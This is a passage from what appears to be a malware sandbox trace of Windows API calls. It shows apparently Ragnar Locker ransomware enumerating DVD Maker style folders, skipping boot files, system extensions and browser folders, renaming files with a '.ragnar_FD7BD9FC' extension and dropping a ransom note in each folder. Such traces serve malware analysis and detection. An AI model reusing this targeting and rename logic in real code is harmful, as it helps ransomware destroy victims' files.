Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.ragnar_FD7BD9FC" [0078.732] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.732] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0078.732] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.732] lstrcpyW (in: lpString1=0x1eab58, lpString2="nav_leftarrow.png" | out: lpString1="nav_leftarrow.png") returned="nav_leftarrow.png" [0078.732] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned=".png" [0078.732] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="autorun.inf") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="boot.ini") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="bootfont.bin") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="bootsect.bak") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="bootmgr") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="bootmgr.efi") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="bootmgfw.efi") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="desktop.ini") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="iconcache.db") returned 1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="ntldr") returned -1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="ntuser.dat") returned -1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="ntuser.dat.log") returned -1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="ntuser.ini") returned -1 [0078.733] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="thumbs.db") returned -1 [0078.733] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.733] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.733] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.733] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.733] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.733] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.733] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0078.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.733] CloseHandle (hObject=0xffffffff) returned 0 [0078.733] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" [0078.733] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.ragnar_FD7BD9FC" [0078.733] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.734] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0078.734] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.734] lstrcpyW (in: lpString1=0x1eab58, lpString2="nav_rightarrow.png" | out: lpString1="nav_rightarrow.png") returned="nav_rightarrow.png" [0078.734] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned=".png" [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="autorun.inf") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="boot.ini") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="bootfont.bin") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="bootsect.bak") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="bootmgr") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="bootmgr.efi") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="bootmgfw.efi") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="desktop.ini") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="iconcache.db") returned 1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="ntldr") returned -1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="ntuser.dat") returned -1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="ntuser.dat.log") returned -1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="ntuser.ini") returned -1 [0078.734] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="thumbs.db") returned -1 [0078.734] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.734] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.734] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.734] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.734] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.734] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.734] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png")) returned 0x20 [0078.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.734] CloseHandle (hObject=0xffffffff) returned 0 [0078.735] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" [0078.735] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.ragnar_FD7BD9FC" [0078.735] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.735] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71018dde, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71018dde, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="nav_uparrow.png", cAlternateFileName="")) returned 1 [0078.735] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.735] lstrcpyW (in: lpString1=0x1eab58, lpString2="nav_uparrow.png" | out: lpString1="nav_uparrow.png") returned="nav_uparrow.png" [0078.735] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png") returned=".png" [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="autorun.inf") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="boot.ini") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="bootfont.bin") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="bootsect.bak") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="bootmgr") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="bootmgr.efi") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="bootmgfw.efi") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="desktop.ini") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="iconcache.db") returned 1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="ntldr") returned -1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="ntuser.dat") returned -1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="ntuser.dat.log") returned -1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="ntuser.ini") returned -1 [0078.735] lstrcmpiW (lpString1="nav_uparrow.png", lpString2="thumbs.db") returned -1 [0078.735] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.735] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.735] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.735] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.735] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.735] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.735] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png")) returned 0x20 [0078.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.736] CloseHandle (hObject=0xffffffff) returned 0 [0078.736] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" [0078.736] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.ragnar_FD7BD9FC" [0078.736] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.736] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81271720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.736] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3b [0078.736] lstrcpyW (in: lpString1=0x1eab58, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.736] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.736] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.736] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81271720, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81271720, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0078.736] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.736] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyGirl", cAlternateFileName="")) returned 1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2=".") returned 1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="..") returned 1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Windows") returned -1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Windows.old") returned -1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Tor browser") returned -1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Internet Explorer") returned -1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Google") returned -1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Opera") returned -1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Opera Software") returned -1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Mozilla") returned -1 [0078.736] lstrcmpiW (lpString1="BabyGirl", lpString2="Mozilla Firefox") returned -1 [0078.737] lstrcmpiW (lpString1="BabyGirl", lpString2="$Recycle.Bin") returned 1 [0078.737] lstrcmpiW (lpString1="BabyGirl", lpString2="ProgramData") returned -1 [0078.737] lstrcmpiW (lpString1="BabyGirl", lpString2="All Users") returned 1 [0078.737] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0078.737] lstrcpyW (in: lpString1=0x1eb620, lpString2="BabyGirl" | out: lpString1="BabyGirl") returned="BabyGirl" [0078.737] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0078.737] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\" [0078.737] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RGNR_FD7BD9FC.txt" [0078.737] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.740] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*" [0078.740] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.740] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.740] lstrcpyW (in: lpString1=0x1ea746, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x812bd9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.740] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.740] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x812bd9e0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x812bd9e0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72858c15, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72858c15, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7287ed72, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7287ed72, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72832ab8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72832ab8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fbfaf1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4c15, dwReserved0=0x0, dwReserved1=0x0, cFileName="babypink.png", cAlternateFileName="")) returned 1 [0078.741] lstrcmpiW (lpString1="babypink.png", lpString2=".") returned 1 [0078.741] lstrcmpiW (lpString1="babypink.png", lpString2="..") returned 1 [0078.741] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728a4ecf, ftCreationTime.dwHighDateTime=0x1ca03fb, 